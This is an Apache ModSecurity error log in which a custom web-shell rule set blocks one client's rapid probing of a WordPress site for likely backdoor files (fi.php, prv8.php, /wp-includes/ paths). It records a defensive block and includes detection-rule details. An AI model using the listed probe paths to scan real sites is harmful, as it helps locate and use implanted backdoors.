[Mon Mar 02 02:25:18.314653 2026] [:error] [pid 53585:tid 53597] [client 20.151.11.236:63565] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aaSEjnbCvYsvu6kKhM3LPgAAAAk"]
[Mon Mar 02 02:25:18.858517 2026] [:error] [pid 53182:tid 53561] [client 20.151.11.236:57548] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aaSEjvv073cA6eM1YCTt2gAAANE"]
[Mon Mar 02 02:25:19.678938 2026] [:error] [pid 53180:tid 53450] [client 20.151.11.236:58760] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aaSEjzPPJpDOBvYnaa1prQAAAYY"]
[Mon Mar 02 02:25:20.678712 2026] [:error] [pid 53180:tid 53456] [client 20.151.11.236:57589] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aaSEkDPPJpDOBvYnaa1prgAAAYw"]
[Mon Mar 02 02:25:22.434598 2026] [:error] [pid 53585:tid 53600] [client 20.151.11.236:55927] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aaSEknbCvYsvu6kKhM3LSQAAAAw"]
[Mon Mar 02 02:25:23.274943 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:55890] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aaSEkxrUg-j5GLDtRFnrAAAAAEQ"]
[Mon Mar 02 02:25:24.079216 2026] [:error] [pid 53585:tid 53599] [client 20.151.11.236:63536] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aaSElHbCvYsvu6kKhM3LUgAAAAs"]
[Mon Mar 02 02:25:24.638920 2026] [:error] [pid 26940:tid 26961] [client 20.151.11.236:58771] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aaSElBrUg-j5GLDtRFnrCwAAAFE"]
[Mon Mar 02 02:25:25.254731 2026] [:error] [pid 53585:tid 53609] [client 20.151.11.236:63514] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aaSElXbCvYsvu6kKhM3LVQAAABU"]
[Mon Mar 02 02:25:25.773713 2026] [:error] [pid 26940:tid 26963] [client 20.151.11.236:57554] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aaSElRrUg-j5GLDtRFnrGQAAAFM"]
[Mon Mar 02 02:25:26.345564 2026] [:error] [pid 53180:tid 53461] [client 20.151.11.236:58822] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aaSEljPPJpDOBvYnaa1pswAAAZE"]
[Mon Mar 02 02:25:26.865285 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:58833] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aaSElhrUg-j5GLDtRFnrIgAAAEs"]
[Mon Mar 02 02:25:27.369584 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:63553] [client 20.151.11.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaSEl3bCvYsvu6kKhM3LWQAAAAE"]
[Mon Mar 02 02:25:27.797139 2026] [:error] [pid 53182:tid 53563] [client 20.151.11.236:57515] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaSEl_v073cA6eM1YCTt6AAAANM"]
[Mon Mar 02 02:25:28.239512 2026] [:error] [pid 53180:tid 53454] [client 20.151.11.236:63498] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaSEmDPPJpDOBvYnaa1pugAAAYo"]
[Mon Mar 02 02:25:28.683134 2026] [:error] [pid 53181:tid 53518] [client 20.151.11.236:58838] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaSEmIr_0T1SazTrJOBT1AAAAQQ"]
[Mon Mar 02 02:25:29.142319 2026] [:error] [pid 53182:tid 53557] [client 20.151.11.236:57571] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aaSEmfv073cA6eM1YCTt7gAAAM0"]
[Mon Mar 02 02:25:29.569437 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:55880] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hi.php"] [unique_id "aaSEmRrUg-j5GLDtRFnrPgAAAEY"]
[Mon Mar 02 02:25:30.044853 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:58850] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hi.php"] [unique_id "aaSEmnbCvYsvu6kKhM3LYQAAAA0"]
[Mon Mar 02 02:25:30.514735 2026] [:error] [pid 26940:tid 26964] [client 20.151.11.236:63518] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hi.php"] [unique_id "aaSEmhrUg-j5GLDtRFnrSgAAAFQ"]
[Mon Mar 02 02:25:30.930181 2026] [:error] [pid 26940:tid 26945] [client 20.151.11.236:57502] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hi.php"] [unique_id "aaSEmhrUg-j5GLDtRFnrTwAAAEE"]
[Mon Mar 02 02:25:31.369227 2026] [:error] [pid 26940:tid 26968] [client 20.151.11.236:63504] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aaSEmxrUg-j5GLDtRFnrVAAAAFg"]
[Mon Mar 02 02:25:31.794524 2026] [:error] [pid 53585:tid 53608] [client 20.151.11.236:63612] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aaSEm3bCvYsvu6kKhM3LagAAABQ"]
[Mon Mar 02 02:25:32.337404 2026] [:error] [pid 53182:tid 53556] [client 20.151.11.236:58809] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aaSEnPv073cA6eM1YCTt9AAAAMw"]
[Mon Mar 02 02:25:32.784822 2026] [:error] [pid 26940:tid 26944] [client 20.151.11.236:58819] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aaSEnBrUg-j5GLDtRFnrZgAAAEA"]
[Mon Mar 02 02:25:33.221854 2026] [:error] [pid 26940:tid 26960] [client 20.151.11.236:63592] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaSEnRrUg-j5GLDtRFnrcQAAAFA"]
[Mon Mar 02 02:25:33.662544 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:58857] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaSEnRrUg-j5GLDtRFnrfQAAAE0"]
[Mon Mar 02 02:25:34.093184 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:63551] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaSEnnbCvYsvu6kKhM3LdgAAAA0"]
[Mon Mar 02 02:25:34.508976 2026] [:error] [pid 26940:tid 26963] [client 20.151.11.236:63550] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaSEnhrUg-j5GLDtRFnrkwAAAFM"]
[Mon Mar 02 02:25:34.922043 2026] [:error] [pid 53585:tid 53607] [client 20.151.11.236:58788] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaSEnnbCvYsvu6kKhM3LeQAAABM"]
[Mon Mar 02 02:25:35.434066 2026] [:error] [pid 26940:tid 26962] [client 20.151.11.236:63535] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaSEnxrUg-j5GLDtRFnrpgAAAFI"]
[Mon Mar 02 02:25:35.846850 2026] [:error] [pid 53180:tid 53461] [client 20.151.11.236:58794] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaSEnzPPJpDOBvYnaa1pzAAAAZE"]
[Mon Mar 02 02:25:36.292764 2026] [:error] [pid 26940:tid 26966] [client 20.151.11.236:57480] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaSEoBrUg-j5GLDtRFnrtQAAAFY"]
[Mon Mar 02 02:25:36.709220 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.236:63571] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aaSEoHbCvYsvu6kKhM3LggAAABc"]
[Mon Mar 02 02:25:37.132691 2026] [:error] [pid 53585:tid 53588] [client 20.151.11.236:58860] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aaSEoXbCvYsvu6kKhM3LhgAAAAA"]
[Mon Mar 02 02:25:37.550351 2026] [:error] [pid 53585:tid 53599] [client 20.151.11.236:58755] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aaSEoXbCvYsvu6kKhM3LiwAAAAs"]
[Mon Mar 02 02:25:37.960284 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:58781] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aaSEoRrUg-j5GLDtRFnrygAAAE0"]
[Mon Mar 02 02:25:38.379737 2026] [:error] [pid 53181:tid 53524] [client 20.151.11.236:63506] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaSEoor_0T1SazTrJOBT5QAAAQk"]
[Mon Mar 02 02:25:38.817897 2026] [:error] [pid 26940:tid 26963] [client 20.151.11.236:63576] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaSEohrUg-j5GLDtRFnr1wAAAFM"]
[Mon Mar 02 02:25:39.234128 2026] [:error] [pid 53585:tid 53602] [client 20.151.11.236:57581] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaSEo3bCvYsvu6kKhM3LkgAAAA4"]
[Mon Mar 02 02:25:39.699879 2026] [:error] [pid 26940:tid 26953] [client 20.151.11.236:57505] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaSEoxrUg-j5GLDtRFnr5gAAAEk"]
[Mon Mar 02 02:25:40.130071 2026] [:error] [pid 53180:tid 53445] [client 20.151.11.236:58855] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSEpDPPJpDOBvYnaa1p0AAAAYE"]
[Mon Mar 02 02:25:40.565873 2026] [:error] [pid 53585:tid 53594] [client 20.151.11.236:63500] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSEpHbCvYsvu6kKhM3LlQAAAAY"]
[Mon Mar 02 02:25:40.991980 2026] [:error] [pid 53585:tid 53596] [client 20.151.11.236:63555] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSEpHbCvYsvu6kKhM3LlgAAAAg"]
[Mon Mar 02 02:25:41.400982 2026] [:error] [pid 53180:tid 53468] [client 20.151.11.236:58845] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSEpTPPJpDOBvYnaa1p1AAAAZg"]
[Mon Mar 02 02:25:41.831725 2026] [:error] [pid 53585:tid 53595] [client 20.151.11.236:63531] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaSEpXbCvYsvu6kKhM3LmQAAAAc"]
[Mon Mar 02 02:25:42.295751 2026] [:error] [pid 53585:tid 53600] [client 20.151.11.236:63517] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaSEpnbCvYsvu6kKhM3LmwAAAAw"]
[Mon Mar 02 02:25:42.704440 2026] [:error] [pid 53585:tid 53603] [client 20.151.11.236:63522] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaSEpnbCvYsvu6kKhM3LngAAAA8"]
[Mon Mar 02 02:25:43.115594 2026] [:error] [pid 53182:tid 53553] [client 20.151.11.236:63499] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaSEp_v073cA6eM1YCTuCQAAAMo"]
[Mon Mar 02 02:25:43.528118 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:58764] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aaSEpxrUg-j5GLDtRFnsCwAAAEQ"]
[Mon Mar 02 02:25:43.951153 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:63544] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aaSEpxrUg-j5GLDtRFnsEwAAAEY"]
[Mon Mar 02 02:25:44.377799 2026] [:error] [pid 53181:tid 53534] [client 20.151.11.236:63596] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aaSEqIr_0T1SazTrJOBT7QAAARM"]
[Mon Mar 02 02:25:44.790552 2026] [:error] [pid 53182:tid 53568] [client 20.151.11.236:63495] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aaSEqPv073cA6eM1YCTuCwAAANg"]
[Mon Mar 02 02:25:45.211110 2026] [:error] [pid 53182:tid 53561] [client 20.151.11.236:63572] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aaSEqfv073cA6eM1YCTuDAAAANE"]
[Mon Mar 02 02:25:45.654624 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.236:63539] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aaSEqXbCvYsvu6kKhM3LowAAABc"]
[Mon Mar 02 02:25:46.111606 2026] [:error] [pid 26940:tid 26951] [client 20.151.11.236:57576] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aaSEqhrUg-j5GLDtRFnsNwAAAEc"]
